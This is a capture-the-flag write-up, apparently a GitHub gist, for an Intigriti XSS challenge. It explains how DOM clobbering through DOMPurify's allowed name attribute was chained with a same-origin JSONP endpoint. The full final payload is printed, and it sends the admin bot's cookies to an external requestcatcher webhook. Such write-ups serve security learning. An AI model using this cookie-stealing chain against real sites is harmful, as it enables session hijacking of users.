Skip to content

Instantly share code, notes, and snippets.

@fjordsec
Last active March 18, 2026 11:41
Show Gist options
  • Select an option

  • Save fjordsec/ff0f124f6a6945628125e0bd78f67d3d to your computer and use it in GitHub Desktop.

Select an option

Save fjordsec/ff0f124f6a6945628125e0bd78f67d3d to your computer and use it in GitHub Desktop.

Intigriti March 2026 Challenge Writeup: The "Operational" Clobbering

🏒 The Premise

The challenge presented us with an "Operational Intelligence" dashboard. Very clean, very corporate, very... vulnerable. Under the hood, we had a strict CSP and a 2024 version of DOMPurify (3.0.6) guarding the gates.

πŸ” Initial Recon: The "Good, the Bad, and the Sanitized"

Looking at the source, we found a few interesting things:

  1. The CSP: script-src 'self'. This meant no external scripts. No alert(1) from evil.com. We had to work with what was already there.
  2. The Sanitizer: DOMPurify was forbidding id, class, and style. But it left the name attribute wide open. Big mistake.
  3. The Gadget: components.js had a very juice-looking Auth.loginRedirect function that could append document.cookie to a redirect URL. It also had a ComponentManager that dynamically loaded scripts.

πŸ•³οΈ The 512-Nested-Div Rabbit Hole (mXSS)

Before the big breakthrough, we went on a spiritual journey into mXSS. We tried to hit the browser's recursion limit with 512 nested <div> tags to bypass the id restriction. We even named our test element sole-surviver because, frankly, we weren't sure if the browser's parser would survive the trip.

I'm something of a scientist myself meme

While we did successfully smuggle an id attribute past the sanitizer, we realized we were working too hard. There was an easier way...

πŸ’‘ The "Twitter" Breakthrough

A tip from the heavens (well, Twitter) mentioned a hidden API endpoint. After some hunting, we found: https://challenge-0326.intigriti.io/api/stats/?callback=...

A JSONP gadget! This was the missing link. Since it was on the same origin, the CSP allowed us to load it as a script.

πŸ”— Chaining the Chaos

The final plan was as elegant as a cat knocking a glass off a table:

  1. DOM Clobbering: We used the name attribute to clobber window.authConfig. Since DOMPurify allowed name, we could define where the Auth.loginRedirect function would send our precious cookies.
  2. The Trigger: We injected a div with data-component="true". The site's own ComponentManager saw this and said, "I should load a script for this!"
  3. The JSONP Hijack: We told the ComponentManager to load the /api/stats/ endpoint and set the callback to Auth.loginRedirect.

The ComponentManager loaded the script, the script called the callback, and the callback saw our clobbered authConfig and dutifully sent the admin's cookies to our webhook.

πŸš€ The Final Payload

<form name="authConfig" 
      data-next="https://payload.requestcatcher.com/test" 
      data-append="true"></form>

<div data-component="true" 
     data-config='{"path":"/api/stats/?callback=Auth.loginRedirect&","type":""}'></div>

🚩 The Loot

After reporting the URL to the admin bot, we received a beautiful GET request on our hook: token=FLAG%3DINTIGRITI%7B019cdb71-fcd4-77cc-b15f-d8a3b6d63947%7D

Flag: INTIGRITI{019cdb71-fcd4-77cc-b15f-d8a3b6d63947}

πŸ“ Lessons Learned

  • Don't trust the name attribute. It's just id's less-supervised younger brother.
  • JSONP is still a gift that keeps on giving.
  • Always listen to Twitter tips.

Success Kid Meme

Thanks to Intigriti for another great challenge!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment